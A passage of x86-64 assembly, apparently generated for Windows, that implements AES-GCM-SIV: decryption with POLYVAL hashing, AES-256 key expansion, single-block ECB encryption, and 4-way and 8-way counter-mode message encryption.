vaesenc xmm10,xmm10,xmm4
vaesenc xmm11,xmm11,xmm4
vaesenc xmm12,xmm12,xmm4
vmovdqa xmm6,XMMWORD[((80-32))+rax]
vpxor xmm6,xmm6,xmm0
vmovdqu xmm5,XMMWORD[((80-32))+rcx]
vpclmulqdq xmm4,xmm6,xmm5,0x01
vpxor xmm1,xmm1,xmm4
vpclmulqdq xmm4,xmm6,xmm5,0x11
vpxor xmm2,xmm2,xmm4
vpclmulqdq xmm4,xmm6,xmm5,0x00
vpxor xmm3,xmm3,xmm4
vpclmulqdq xmm4,xmm6,xmm5,0x10
vpxor xmm1,xmm1,xmm4
vmovdqu xmm4,XMMWORD[128+r8]
vaesenc xmm7,xmm7,xmm4
vaesenc xmm8,xmm8,xmm4
vaesenc xmm9,xmm9,xmm4
vaesenc xmm10,xmm10,xmm4
vaesenc xmm11,xmm11,xmm4
vaesenc xmm12,xmm12,xmm4
vpsrldq xmm4,xmm1,8
vpxor xmm5,xmm2,xmm4
vpslldq xmm4,xmm1,8
vpxor xmm0,xmm3,xmm4
vmovdqa xmm3,XMMWORD[poly]
vmovdqu xmm4,XMMWORD[144+r8]
vaesenc xmm7,xmm7,xmm4
vaesenc xmm8,xmm8,xmm4
vaesenc xmm9,xmm9,xmm4
vaesenc xmm10,xmm10,xmm4
vaesenc xmm11,xmm11,xmm4
vaesenc xmm12,xmm12,xmm4
vmovdqu xmm6,XMMWORD[160+r8]
vpalignr xmm2,xmm0,xmm0,8
vpclmulqdq xmm0,xmm0,xmm3,0x10
vpxor xmm0,xmm2,xmm0
vpxor xmm4,xmm6,XMMWORD[rdi]
vaesenclast xmm7,xmm7,xmm4
vpxor xmm4,xmm6,XMMWORD[16+rdi]
vaesenclast xmm8,xmm8,xmm4
vpxor xmm4,xmm6,XMMWORD[32+rdi]
vaesenclast xmm9,xmm9,xmm4
vpxor xmm4,xmm6,XMMWORD[48+rdi]
vaesenclast xmm10,xmm10,xmm4
vpxor xmm4,xmm6,XMMWORD[64+rdi]
vaesenclast xmm11,xmm11,xmm4
vpxor xmm4,xmm6,XMMWORD[80+rdi]
vaesenclast xmm12,xmm12,xmm4
vpalignr xmm2,xmm0,xmm0,8
vpclmulqdq xmm0,xmm0,xmm3,0x10
vpxor xmm0,xmm2,xmm0
vmovdqu XMMWORD[rsi],xmm7
vmovdqu XMMWORD[16+rsi],xmm8
vmovdqu XMMWORD[32+rsi],xmm9
vmovdqu XMMWORD[48+rsi],xmm10
vmovdqu XMMWORD[64+rsi],xmm11
vmovdqu XMMWORD[80+rsi],xmm12
vpxor xmm0,xmm0,xmm5
lea rdi,[96+rdi]
lea rsi,[96+rsi]
jmp NEAR $L$128_dec_loop1
$L$128_dec_finish_96:
vmovdqa xmm6,xmm12
vmovdqa XMMWORD[(16-32)+rax],xmm11
vmovdqa XMMWORD[(32-32)+rax],xmm10
vmovdqa XMMWORD[(48-32)+rax],xmm9
vmovdqa XMMWORD[(64-32)+rax],xmm8
vmovdqa XMMWORD[(80-32)+rax],xmm7
vmovdqu xmm4,XMMWORD[((0-32))+rcx]
vpclmulqdq xmm1,xmm6,xmm4,0x10
vpclmulqdq xmm2,xmm6,xmm4,0x11
vpclmulqdq xmm3,xmm6,xmm4,0x00
vpclmulqdq xmm4,xmm6,xmm4,0x01
vpxor xmm1,xmm1,xmm4
vmovdqu xmm6,XMMWORD[((-16))+rax]
vmovdqu xmm13,XMMWORD[((-16))+rcx]
vpclmulqdq xmm4,xmm6,xmm13,0x10
vpxor xmm1,xmm1,xmm4
vpclmulqdq xmm4,xmm6,xmm13,0x11
vpxor xmm2,xmm2,xmm4
vpclmulqdq xmm4,xmm6,xmm13,0x00
vpxor xmm3,xmm3,xmm4
vpclmulqdq xmm4,xmm6,xmm13,0x01
vpxor xmm1,xmm1,xmm4
vmovdqu xmm6,XMMWORD[rax]
vmovdqu xmm13,XMMWORD[rcx]
vpclmulqdq xmm4,xmm6,xmm13,0x10
vpxor xmm1,xmm1,xmm4
vpclmulqdq xmm4,xmm6,xmm13,0x11
vpxor xmm2,xmm2,xmm4
vpclmulqdq xmm4,xmm6,xmm13,0x00
vpxor xmm3,xmm3,xmm4
vpclmulqdq xmm4,xmm6,xmm13,0x01
vpxor xmm1,xmm1,xmm4
vmovdqu xmm6,XMMWORD[16+rax]
vmovdqu xmm13,XMMWORD[16+rcx]
vpclmulqdq xmm4,xmm6,xmm13,0x10
vpxor xmm1,xmm1,xmm4
vpclmulqdq xmm4,xmm6,xmm13,0x11
vpxor xmm2,xmm2,xmm4
vpclmulqdq xmm4,xmm6,xmm13,0x00
vpxor xmm3,xmm3,xmm4
vpclmulqdq xmm4,xmm6,xmm13,0x01
vpxor xmm1,xmm1,xmm4
vmovdqu xmm6,XMMWORD[32+rax]
vmovdqu xmm13,XMMWORD[32+rcx]
vpclmulqdq xmm4,xmm6,xmm13,0x10
vpxor xmm1,xmm1,xmm4
vpclmulqdq xmm4,xmm6,xmm13,0x11
vpxor xmm2,xmm2,xmm4
vpclmulqdq xmm4,xmm6,xmm13,0x00
vpxor xmm3,xmm3,xmm4
vpclmulqdq xmm4,xmm6,xmm13,0x01
vpxor xmm1,xmm1,xmm4
vmovdqu xmm6,XMMWORD[((80-32))+rax]
vpxor xmm6,xmm6,xmm0
vmovdqu xmm5,XMMWORD[((80-32))+rcx]
vpclmulqdq xmm4,xmm6,xmm5,0x11
vpxor xmm2,xmm2,xmm4
vpclmulqdq xmm4,xmm6,xmm5,0x00
vpxor xmm3,xmm3,xmm4
vpclmulqdq xmm4,xmm6,xmm5,0x10
vpxor xmm1,xmm1,xmm4
vpclmulqdq xmm4,xmm6,xmm5,0x01
vpxor xmm1,xmm1,xmm4
vpsrldq xmm4,xmm1,8
vpxor xmm5,xmm2,xmm4
vpslldq xmm4,xmm1,8
vpxor xmm0,xmm3,xmm4
vmovdqa xmm3,XMMWORD[poly]
vpalignr xmm2,xmm0,xmm0,8
vpclmulqdq xmm0,xmm0,xmm3,0x10
vpxor xmm0,xmm2,xmm0
vpalignr xmm2,xmm0,xmm0,8
vpclmulqdq xmm0,xmm0,xmm3,0x10
vpxor xmm0,xmm2,xmm0
vpxor xmm0,xmm0,xmm5
$L$128_dec_loop2:
cmp r9,16
jb NEAR $L$128_dec_out
sub r9,16
vmovdqa xmm2,xmm15
vpaddd xmm15,xmm15,XMMWORD[one]
vpxor xmm2,xmm2,XMMWORD[r8]
vaesenc xmm2,xmm2,XMMWORD[16+r8]
vaesenc xmm2,xmm2,XMMWORD[32+r8]
vaesenc xmm2,xmm2,XMMWORD[48+r8]
vaesenc xmm2,xmm2,XMMWORD[64+r8]
vaesenc xmm2,xmm2,XMMWORD[80+r8]
vaesenc xmm2,xmm2,XMMWORD[96+r8]
vaesenc xmm2,xmm2,XMMWORD[112+r8]
vaesenc xmm2,xmm2,XMMWORD[128+r8]
vaesenc xmm2,xmm2,XMMWORD[144+r8]
vaesenclast xmm2,xmm2,XMMWORD[160+r8]
vpxor xmm2,xmm2,XMMWORD[rdi]
vmovdqu XMMWORD[rsi],xmm2
add rdi,16
add rsi,16
vpxor xmm0,xmm0,xmm2
vmovdqa xmm1,XMMWORD[((-32))+rcx]
call GFMUL
jmp NEAR $L$128_dec_loop2
$L$128_dec_out:
vmovdqu XMMWORD[rdx],xmm0
mov rdi,QWORD[8+rsp] ;WIN64 epilogue
mov rsi,QWORD[16+rsp]
DB 0F3h,0C3h ;repret
$L$SEH_end_aes128gcmsiv_dec:
global aes128gcmsiv_ecb_enc_block
ALIGN 16
aes128gcmsiv_ecb_enc_block:
mov QWORD[8+rsp],rdi ;WIN64 prologue
mov QWORD[16+rsp],rsi
mov rax,rsp
$L$SEH_begin_aes128gcmsiv_ecb_enc_block:
mov rdi,rcx
mov rsi,rdx
mov rdx,r8
vmovdqa xmm1,XMMWORD[rdi]
vpxor xmm1,xmm1,XMMWORD[rdx]
vaesenc xmm1,xmm1,XMMWORD[16+rdx]
vaesenc xmm1,xmm1,XMMWORD[32+rdx]
vaesenc xmm1,xmm1,XMMWORD[48+rdx]
vaesenc xmm1,xmm1,XMMWORD[64+rdx]
vaesenc xmm1,xmm1,XMMWORD[80+rdx]
vaesenc xmm1,xmm1,XMMWORD[96+rdx]
vaesenc xmm1,xmm1,XMMWORD[112+rdx]
vaesenc xmm1,xmm1,XMMWORD[128+rdx]
vaesenc xmm1,xmm1,XMMWORD[144+rdx]
vaesenclast xmm1,xmm1,XMMWORD[160+rdx]
vmovdqa XMMWORD[rsi],xmm1
mov rdi,QWORD[8+rsp] ;WIN64 epilogue
mov rsi,QWORD[16+rsp]
DB 0F3h,0C3h ;repret
$L$SEH_end_aes128gcmsiv_ecb_enc_block:
global aes256gcmsiv_aes_ks_enc_x1
ALIGN 16
aes256gcmsiv_aes_ks_enc_x1:
mov QWORD[8+rsp],rdi ;WIN64 prologue
mov QWORD[16+rsp],rsi
mov rax,rsp
$L$SEH_begin_aes256gcmsiv_aes_ks_enc_x1:
mov rdi,rcx
mov rsi,rdx
mov rdx,r8
mov rcx,r9
vmovdqa xmm0,XMMWORD[con1]
vmovdqa xmm15,XMMWORD[mask]
vmovdqa xmm8,XMMWORD[rdi]
vmovdqa xmm1,XMMWORD[rcx]
vmovdqa xmm3,XMMWORD[16+rcx]
vpxor xmm8,xmm8,xmm1
vaesenc xmm8,xmm8,xmm3
vmovdqu XMMWORD[rdx],xmm1
vmovdqu XMMWORD[16+rdx],xmm3
vpxor xmm14,xmm14,xmm14
vpshufb xmm2,xmm3,xmm15
vaesenclast xmm2,xmm2,xmm0
vpslld xmm0,xmm0,1
vpslldq xmm4,xmm1,4
vpxor xmm1,xmm1,xmm4
vpslldq xmm4,xmm4,4
vpxor xmm1,xmm1,xmm4
vpslldq xmm4,xmm4,4
vpxor xmm1,xmm1,xmm4
vpxor xmm1,xmm1,xmm2
vaesenc xmm8,xmm8,xmm1
vmovdqu XMMWORD[32+rdx],xmm1
vpshufd xmm2,xmm1,0xff
vaesenclast xmm2,xmm2,xmm14
vpslldq xmm4,xmm3,4
vpxor xmm3,xmm3,xmm4
vpslldq xmm4,xmm4,4
vpxor xmm3,xmm3,xmm4
vpslldq xmm4,xmm4,4
vpxor xmm3,xmm3,xmm4
vpxor xmm3,xmm3,xmm2
vaesenc xmm8,xmm8,xmm3
vmovdqu XMMWORD[48+rdx],xmm3
vpshufb xmm2,xmm3,xmm15
vaesenclast xmm2,xmm2,xmm0
vpslld xmm0,xmm0,1
vpslldq xmm4,xmm1,4
vpxor xmm1,xmm1,xmm4
vpslldq xmm4,xmm4,4
vpxor xmm1,xmm1,xmm4
vpslldq xmm4,xmm4,4
vpxor xmm1,xmm1,xmm4
vpxor xmm1,xmm1,xmm2
vaesenc xmm8,xmm8,xmm1
vmovdqu XMMWORD[64+rdx],xmm1
vpshufd xmm2,xmm1,0xff
vaesenclast xmm2,xmm2,xmm14
vpslldq xmm4,xmm3,4
vpxor xmm3,xmm3,xmm4
vpslldq xmm4,xmm4,4
vpxor xmm3,xmm3,xmm4
vpslldq xmm4,xmm4,4
vpxor xmm3,xmm3,xmm4
vpxor xmm3,xmm3,xmm2
vaesenc xmm8,xmm8,xmm3
vmovdqu XMMWORD[80+rdx],xmm3
vpshufb xmm2,xmm3,xmm15
vaesenclast xmm2,xmm2,xmm0
vpslld xmm0,xmm0,1
vpslldq xmm4,xmm1,4
vpxor xmm1,xmm1,xmm4
vpslldq xmm4,xmm4,4
vpxor xmm1,xmm1,xmm4
vpslldq xmm4,xmm4,4
vpxor xmm1,xmm1,xmm4
vpxor xmm1,xmm1,xmm2
vaesenc xmm8,xmm8,xmm1
vmovdqu XMMWORD[96+rdx],xmm1
vpshufd xmm2,xmm1,0xff
vaesenclast xmm2,xmm2,xmm14
vpslldq xmm4,xmm3,4
vpxor xmm3,xmm3,xmm4
vpslldq xmm4,xmm4,4
vpxor xmm3,xmm3,xmm4
vpslldq xmm4,xmm4,4
vpxor xmm3,xmm3,xmm4
vpxor xmm3,xmm3,xmm2
vaesenc xmm8,xmm8,xmm3
vmovdqu XMMWORD[112+rdx],xmm3
vpshufb xmm2,xmm3,xmm15
vaesenclast xmm2,xmm2,xmm0
vpslld xmm0,xmm0,1
vpslldq xmm4,xmm1,4
vpxor xmm1,xmm1,xmm4
vpslldq xmm4,xmm4,4
vpxor xmm1,xmm1,xmm4
vpslldq xmm4,xmm4,4
vpxor xmm1,xmm1,xmm4
vpxor xmm1,xmm1,xmm2
vaesenc xmm8,xmm8,xmm1
vmovdqu XMMWORD[128+rdx],xmm1
vpshufd xmm2,xmm1,0xff
vaesenclast xmm2,xmm2,xmm14
vpslldq xmm4,xmm3,4
vpxor xmm3,xmm3,xmm4
vpslldq xmm4,xmm4,4
vpxor xmm3,xmm3,xmm4
vpslldq xmm4,xmm4,4
vpxor xmm3,xmm3,xmm4
vpxor xmm3,xmm3,xmm2
vaesenc xmm8,xmm8,xmm3
vmovdqu XMMWORD[144+rdx],xmm3
vpshufb xmm2,xmm3,xmm15
vaesenclast xmm2,xmm2,xmm0
vpslld xmm0,xmm0,1
vpslldq xmm4,xmm1,4
vpxor xmm1,xmm1,xmm4
vpslldq xmm4,xmm4,4
vpxor xmm1,xmm1,xmm4
vpslldq xmm4,xmm4,4
vpxor xmm1,xmm1,xmm4
vpxor xmm1,xmm1,xmm2
vaesenc xmm8,xmm8,xmm1
vmovdqu XMMWORD[160+rdx],xmm1
vpshufd xmm2,xmm1,0xff
vaesenclast xmm2,xmm2,xmm14
vpslldq xmm4,xmm3,4
vpxor xmm3,xmm3,xmm4
vpslldq xmm4,xmm4,4
vpxor xmm3,xmm3,xmm4
vpslldq xmm4,xmm4,4
vpxor xmm3,xmm3,xmm4
vpxor xmm3,xmm3,xmm2
vaesenc xmm8,xmm8,xmm3
vmovdqu XMMWORD[176+rdx],xmm3
vpshufb xmm2,xmm3,xmm15
vaesenclast xmm2,xmm2,xmm0
vpslld xmm0,xmm0,1
vpslldq xmm4,xmm1,4
vpxor xmm1,xmm1,xmm4
vpslldq xmm4,xmm4,4
vpxor xmm1,xmm1,xmm4
vpslldq xmm4,xmm4,4
vpxor xmm1,xmm1,xmm4
vpxor xmm1,xmm1,xmm2
vaesenc xmm8,xmm8,xmm1
vmovdqu XMMWORD[192+rdx],xmm1
vpshufd xmm2,xmm1,0xff
vaesenclast xmm2,xmm2,xmm14
vpslldq xmm4,xmm3,4
vpxor xmm3,xmm3,xmm4
vpslldq xmm4,xmm4,4
vpxor xmm3,xmm3,xmm4
vpslldq xmm4,xmm4,4
vpxor xmm3,xmm3,xmm4
vpxor xmm3,xmm3,xmm2
vaesenc xmm8,xmm8,xmm3
vmovdqu XMMWORD[208+rdx],xmm3
vpshufb xmm2,xmm3,xmm15
vaesenclast xmm2,xmm2,xmm0
vpslldq xmm4,xmm1,4
vpxor xmm1,xmm1,xmm4
vpslldq xmm4,xmm4,4
vpxor xmm1,xmm1,xmm4
vpslldq xmm4,xmm4,4
vpxor xmm1,xmm1,xmm4
vpxor xmm1,xmm1,xmm2
vaesenclast xmm8,xmm8,xmm1
vmovdqu XMMWORD[224+rdx],xmm1
vmovdqa XMMWORD[rsi],xmm8
mov rdi,QWORD[8+rsp] ;WIN64 epilogue
mov rsi,QWORD[16+rsp]
DB 0F3h,0C3h ;repret
$L$SEH_end_aes256gcmsiv_aes_ks_enc_x1:
global aes256gcmsiv_ecb_enc_block
ALIGN 16
aes256gcmsiv_ecb_enc_block:
mov QWORD[8+rsp],rdi ;WIN64 prologue
mov QWORD[16+rsp],rsi
mov rax,rsp
$L$SEH_begin_aes256gcmsiv_ecb_enc_block:
mov rdi,rcx
mov rsi,rdx
mov rdx,r8
vmovdqa xmm1,XMMWORD[rdi]
vpxor xmm1,xmm1,XMMWORD[rdx]
vaesenc xmm1,xmm1,XMMWORD[16+rdx]
vaesenc xmm1,xmm1,XMMWORD[32+rdx]
vaesenc xmm1,xmm1,XMMWORD[48+rdx]
vaesenc xmm1,xmm1,XMMWORD[64+rdx]
vaesenc xmm1,xmm1,XMMWORD[80+rdx]
vaesenc xmm1,xmm1,XMMWORD[96+rdx]
vaesenc xmm1,xmm1,XMMWORD[112+rdx]
vaesenc xmm1,xmm1,XMMWORD[128+rdx]
vaesenc xmm1,xmm1,XMMWORD[144+rdx]
vaesenc xmm1,xmm1,XMMWORD[160+rdx]
vaesenc xmm1,xmm1,XMMWORD[176+rdx]
vaesenc xmm1,xmm1,XMMWORD[192+rdx]
vaesenc xmm1,xmm1,XMMWORD[208+rdx]
vaesenclast xmm1,xmm1,XMMWORD[224+rdx]
vmovdqa XMMWORD[rsi],xmm1
mov rdi,QWORD[8+rsp] ;WIN64 epilogue
mov rsi,QWORD[16+rsp]
DB 0F3h,0C3h ;repret
$L$SEH_end_aes256gcmsiv_ecb_enc_block:
global aes256gcmsiv_enc_msg_x4
ALIGN 16
aes256gcmsiv_enc_msg_x4:
mov QWORD[8+rsp],rdi ;WIN64 prologue
mov QWORD[16+rsp],rsi
mov rax,rsp
$L$SEH_begin_aes256gcmsiv_enc_msg_x4:
mov rdi,rcx
mov rsi,rdx
mov rdx,r8
mov rcx,r9
mov r8,QWORD[40+rsp]
test r8,r8
jnz NEAR $L$256_enc_msg_x4_start
mov rdi,QWORD[8+rsp] ;WIN64 epilogue
mov rsi,QWORD[16+rsp]
DB 0F3h,0C3h ;repret
$L$256_enc_msg_x4_start:
mov r10,r8
shr r8,4
shl r10,60
jz NEAR $L$256_enc_msg_x4_start2
add r8,1
$L$256_enc_msg_x4_start2:
mov r10,r8
shl r10,62
shr r10,62
vmovdqa xmm15,XMMWORD[rdx]
vpor xmm15,xmm15,XMMWORD[OR_MASK]
vmovdqa xmm4,XMMWORD[four]
vmovdqa xmm0,xmm15
vpaddd xmm1,xmm15,XMMWORD[one]
vpaddd xmm2,xmm15,XMMWORD[two]
vpaddd xmm3,xmm15,XMMWORD[three]
shr r8,2
je NEAR $L$256_enc_msg_x4_check_remainder
sub rsi,64
sub rdi,64
$L$256_enc_msg_x4_loop1:
add rsi,64
add rdi,64
vmovdqa xmm5,xmm0
vmovdqa xmm6,xmm1
vmovdqa xmm7,xmm2
vmovdqa xmm8,xmm3
vpxor xmm5,xmm5,XMMWORD[rcx]
vpxor xmm6,xmm6,XMMWORD[rcx]
vpxor xmm7,xmm7,XMMWORD[rcx]
vpxor xmm8,xmm8,XMMWORD[rcx]
vmovdqu xmm12,XMMWORD[16+rcx]
vaesenc xmm5,xmm5,xmm12
vaesenc xmm6,xmm6,xmm12
vaesenc xmm7,xmm7,xmm12
vaesenc xmm8,xmm8,xmm12
vpaddd xmm0,xmm0,xmm4
vmovdqu xmm12,XMMWORD[32+rcx]
vaesenc xmm5,xmm5,xmm12
vaesenc xmm6,xmm6,xmm12
vaesenc xmm7,xmm7,xmm12
vaesenc xmm8,xmm8,xmm12
vpaddd xmm1,xmm1,xmm4
vmovdqu xmm12,XMMWORD[48+rcx]
vaesenc xmm5,xmm5,xmm12
vaesenc xmm6,xmm6,xmm12
vaesenc xmm7,xmm7,xmm12
vaesenc xmm8,xmm8,xmm12
vpaddd xmm2,xmm2,xmm4
vmovdqu xmm12,XMMWORD[64+rcx]
vaesenc xmm5,xmm5,xmm12
vaesenc xmm6,xmm6,xmm12
vaesenc xmm7,xmm7,xmm12
vaesenc xmm8,xmm8,xmm12
vpaddd xmm3,xmm3,xmm4
vmovdqu xmm12,XMMWORD[80+rcx]
vaesenc xmm5,xmm5,xmm12
vaesenc xmm6,xmm6,xmm12
vaesenc xmm7,xmm7,xmm12
vaesenc xmm8,xmm8,xmm12
vmovdqu xmm12,XMMWORD[96+rcx]
vaesenc xmm5,xmm5,xmm12
vaesenc xmm6,xmm6,xmm12
vaesenc xmm7,xmm7,xmm12
vaesenc xmm8,xmm8,xmm12
vmovdqu xmm12,XMMWORD[112+rcx]
vaesenc xmm5,xmm5,xmm12
vaesenc xmm6,xmm6,xmm12
vaesenc xmm7,xmm7,xmm12
vaesenc xmm8,xmm8,xmm12
vmovdqu xmm12,XMMWORD[128+rcx]
vaesenc xmm5,xmm5,xmm12
vaesenc xmm6,xmm6,xmm12
vaesenc xmm7,xmm7,xmm12
vaesenc xmm8,xmm8,xmm12
vmovdqu xmm12,XMMWORD[144+rcx]
vaesenc xmm5,xmm5,xmm12
vaesenc xmm6,xmm6,xmm12
vaesenc xmm7,xmm7,xmm12
vaesenc xmm8,xmm8,xmm12
vmovdqu xmm12,XMMWORD[160+rcx]
vaesenc xmm5,xmm5,xmm12
vaesenc xmm6,xmm6,xmm12
vaesenc xmm7,xmm7,xmm12
vaesenc xmm8,xmm8,xmm12
vmovdqu xmm12,XMMWORD[176+rcx]
vaesenc xmm5,xmm5,xmm12
vaesenc xmm6,xmm6,xmm12
vaesenc xmm7,xmm7,xmm12
vaesenc xmm8,xmm8,xmm12
vmovdqu xmm12,XMMWORD[192+rcx]
vaesenc xmm5,xmm5,xmm12
vaesenc xmm6,xmm6,xmm12
vaesenc xmm7,xmm7,xmm12
vaesenc xmm8,xmm8,xmm12
vmovdqu xmm12,XMMWORD[208+rcx]
vaesenc xmm5,xmm5,xmm12
vaesenc xmm6,xmm6,xmm12
vaesenc xmm7,xmm7,xmm12
vaesenc xmm8,xmm8,xmm12
vmovdqu xmm12,XMMWORD[224+rcx]
vaesenclast xmm5,xmm5,xmm12
vaesenclast xmm6,xmm6,xmm12
vaesenclast xmm7,xmm7,xmm12
vaesenclast xmm8,xmm8,xmm12
vpxor xmm5,xmm5,XMMWORD[rdi]
vpxor xmm6,xmm6,XMMWORD[16+rdi]
vpxor xmm7,xmm7,XMMWORD[32+rdi]
vpxor xmm8,xmm8,XMMWORD[48+rdi]
sub r8,1
vmovdqu XMMWORD[rsi],xmm5
vmovdqu XMMWORD[16+rsi],xmm6
vmovdqu XMMWORD[32+rsi],xmm7
vmovdqu XMMWORD[48+rsi],xmm8
jne NEAR $L$256_enc_msg_x4_loop1
add rsi,64
add rdi,64
$L$256_enc_msg_x4_check_remainder:
cmp r10,0
je NEAR $L$256_enc_msg_x4_out
$L$256_enc_msg_x4_loop2:
vmovdqa xmm5,xmm0
vpaddd xmm0,xmm0,XMMWORD[one]
vpxor xmm5,xmm5,XMMWORD[rcx]
vaesenc xmm5,xmm5,XMMWORD[16+rcx]
vaesenc xmm5,xmm5,XMMWORD[32+rcx]
vaesenc xmm5,xmm5,XMMWORD[48+rcx]
vaesenc xmm5,xmm5,XMMWORD[64+rcx]
vaesenc xmm5,xmm5,XMMWORD[80+rcx]
vaesenc xmm5,xmm5,XMMWORD[96+rcx]
vaesenc xmm5,xmm5,XMMWORD[112+rcx]
vaesenc xmm5,xmm5,XMMWORD[128+rcx]
vaesenc xmm5,xmm5,XMMWORD[144+rcx]
vaesenc xmm5,xmm5,XMMWORD[160+rcx]
vaesenc xmm5,xmm5,XMMWORD[176+rcx]
vaesenc xmm5,xmm5,XMMWORD[192+rcx]
vaesenc xmm5,xmm5,XMMWORD[208+rcx]
vaesenclast xmm5,xmm5,XMMWORD[224+rcx]
vpxor xmm5,xmm5,XMMWORD[rdi]
vmovdqu XMMWORD[rsi],xmm5
add rdi,16
add rsi,16
sub r10,1
jne NEAR $L$256_enc_msg_x4_loop2
$L$256_enc_msg_x4_out:
mov rdi,QWORD[8+rsp] ;WIN64 epilogue
mov rsi,QWORD[16+rsp]
DB 0F3h,0C3h ;repret
$L$SEH_end_aes256gcmsiv_enc_msg_x4:
global aes256gcmsiv_enc_msg_x8
ALIGN 16
aes256gcmsiv_enc_msg_x8:
mov QWORD[8+rsp],rdi ;WIN64 prologue
mov QWORD[16+rsp],rsi
mov rax,rsp
$L$SEH_begin_aes256gcmsiv_enc_msg_x8:
mov rdi,rcx
mov rsi,rdx
mov rdx,r8
mov rcx,r9
mov r8,QWORD[40+rsp]
test r8,r8
jnz NEAR $L$256_enc_msg_x8_start
mov rdi,QWORD[8+rsp] ;WIN64 epilogue
mov rsi,QWORD[16+rsp]
DB 0F3h,0C3h ;repret
$L$256_enc_msg_x8_start:
mov r11,rsp
sub r11,16
and r11,-64
mov r10,r8
shr r8,4
shl r10,60
jz NEAR $L$256_enc_msg_x8_start2
add r8,1
$L$256_enc_msg_x8_start2:
mov r10,r8
shl r10,61
shr r10,61
vmovdqa xmm1,XMMWORD[rdx]
vpor xmm1,xmm1,XMMWORD[OR_MASK]
vpaddd xmm0,xmm1,XMMWORD[seven]
vmovdqa XMMWORD[r11],xmm0
vpaddd xmm9,xmm1,XMMWORD[one]
vpaddd xmm10,xmm1,XMMWORD[two]
vpaddd xmm11,xmm1,XMMWORD[three]
vpaddd xmm12,xmm1,XMMWORD[four]
vpaddd xmm13,xmm1,XMMWORD[five]
vpaddd xmm14,xmm1,XMMWORD[six]
vmovdqa xmm0,xmm1
shr r8,3
jz NEAR $L$256_enc_msg_x8_check_remainder
sub rsi,128
sub rdi,128
$L$256_enc_msg_x8_loop1:
add rsi,128
add rdi,128
vmovdqa xmm1,xmm0
vmovdqa xmm2,xmm9
vmovdqa xmm3,xmm10
vmovdqa xmm4,xmm11
vmovdqa xmm5,xmm12
vmovdqa xmm6,xmm13
vmovdqa xmm7,xmm14
vmovdqa xmm8,XMMWORD[r11]
vpxor xmm1,xmm1,XMMWORD[rcx]
vpxor xmm2,xmm2,XMMWORD[rcx]
vpxor xmm3,xmm3,XMMWORD[rcx]
vpxor xmm4,xmm4,XMMWORD[rcx]
vpxor xmm5,xmm5,XMMWORD[rcx]
vpxor xmm6,xmm6,XMMWORD[rcx]
vpxor xmm7,xmm7,XMMWORD[rcx]
vpxor xmm8,xmm8,XMMWORD[rcx]
vmovdqu xmm15,XMMWORD[16+rcx]
vaesenc xmm1,xmm1,xmm15
vaesenc xmm2,xmm2,xmm15
vaesenc xmm3,xmm3,xmm15
vaesenc xmm4,xmm4,xmm15
vaesenc xmm5,xmm5,xmm15
vaesenc xmm6,xmm6,xmm15
vaesenc xmm7,xmm7,xmm15
vaesenc xmm8,xmm8,xmm15
vmovdqa xmm14,XMMWORD[r11]
vpaddd xmm14,xmm14,XMMWORD[eight]
vmovdqa XMMWORD[r11],xmm14
vmovdqu xmm15,XMMWORD[32+rcx]
vaesenc xmm1,xmm1,xmm15
vaesenc xmm2,xmm2,xmm15
vaesenc xmm3,xmm3,xmm15
vaesenc xmm4,xmm4,xmm15
vaesenc xmm5,xmm5,xmm15
vaesenc xmm6,xmm6,xmm15
vaesenc xmm7,xmm7,xmm15
vaesenc xmm8,xmm8,xmm15
vpsubd xmm14,xmm14,XMMWORD[one]
vmovdqu xmm15,XMMWORD[48+rcx]
vaesenc xmm1,xmm1,xmm15
vaesenc xmm2,xmm2,xmm15
vaesenc xmm3,xmm3,xmm15
vaesenc xmm4,xmm4,xmm15
vaesenc xmm5,xmm5,xmm15
vaesenc xmm6,xmm6,xmm15
vaesenc xmm7,xmm7,xmm15
vaesenc xmm8,xmm8,xmm15
vpaddd xmm0,xmm0,XMMWORD[eight]
vmovdqu xmm15,XMMWORD[64+rcx]
vaesenc xmm1,xmm1,xmm15
vaesenc xmm2,xmm2,xmm15
vaesenc xmm3,xmm3,xmm15
vaesenc xmm4,xmm4,xmm15
vaesenc xmm5,xmm5,xmm15
vaesenc xmm6,xmm6,xmm15
vaesenc xmm7,xmm7,xmm15
vaesenc xmm8,xmm8,xmm15
vpaddd xmm9,xmm9,XMMWORD[eight]
vmovdqu xmm15,XMMWORD[80+rcx]
vaesenc xmm1,xmm1,xmm15
vaesenc xmm2,xmm2,xmm15
vaesenc xmm3,xmm3,xmm15
vaesenc xmm4,xmm4,xmm15
vaesenc xmm5,xmm5,xmm15
vaesenc xmm6,xmm6,xmm15
vaesenc xmm7,xmm7,xmm15
vaesenc xmm8,xmm8,xmm15
vpaddd xmm10,xmm10,XMMWORD[eight]
vmovdqu xmm15,XMMWORD[96+rcx]
vaesenc xmm1,xmm1,xmm15
vaesenc xmm2,xmm2,xmm15
vaesenc xmm3,xmm3,xmm15
vaesenc xmm4,xmm4,xmm15
vaesenc xmm5,xmm5,xmm15
vaesenc xmm6,xmm6,xmm15
vaesenc xmm7,xmm7,xmm15
vaesenc xmm8,xmm8,xmm15
vpaddd xmm11,xmm11,XMMWORD[eight]
vmovdqu xmm15,XMMWORD[112+rcx]
vaesenc xmm1,xmm1,xmm15
vaesenc xmm2,xmm2,xmm15
vaesenc xmm3,xmm3,xmm15
vaesenc xmm4,xmm4,xmm15
vaesenc xmm5,xmm5,xmm15
vaesenc xmm6,xmm6,xmm15
vaesenc xmm7,xmm7,xmm15
vaesenc xmm8,xmm8,xmm15
vpaddd xmm12,xmm12,XMMWORD[eight]
vmovdqu xmm15,XMMWORD[128+rcx]
vaesenc xmm1,xmm1,xmm15
vaesenc xmm2,xmm2,xmm15
vaesenc xmm3,xmm3,xmm15
vaesenc xmm4,xmm4,xmm15
vaesenc xmm5,xmm5,xmm15
vaesenc xmm6,xmm6,xmm15
vaesenc xmm7,xmm7,xmm15
vaesenc xmm8,xmm8,xmm15
vpaddd xmm13,xmm13,XMMWORD[eight]
vmovdqu xmm15,XMMWORD[144+rcx]
vaesenc xmm1,xmm1,xmm15
vaesenc xmm2,xmm2,xmm15
vaesenc xmm3,xmm3,xmm15
vaesenc xmm4,xmm4,xmm15
vaesenc xmm5,xmm5,xmm15
vaesenc xmm6,xmm6,xmm15
vaesenc xmm7,xmm7,xmm15
vaesenc xmm8,xmm8,xmm15
vmovdqu xmm15,XMMWORD[160+rcx]
vaesenc xmm1,xmm1,xmm15
vaesenc xmm2,xmm2,xmm15
vaesenc xmm3,xmm3,xmm15
vaesenc xmm4,xmm4,xmm15
vaesenc xmm5,xmm5,xmm15
vaesenc xmm6,xmm6,xmm15
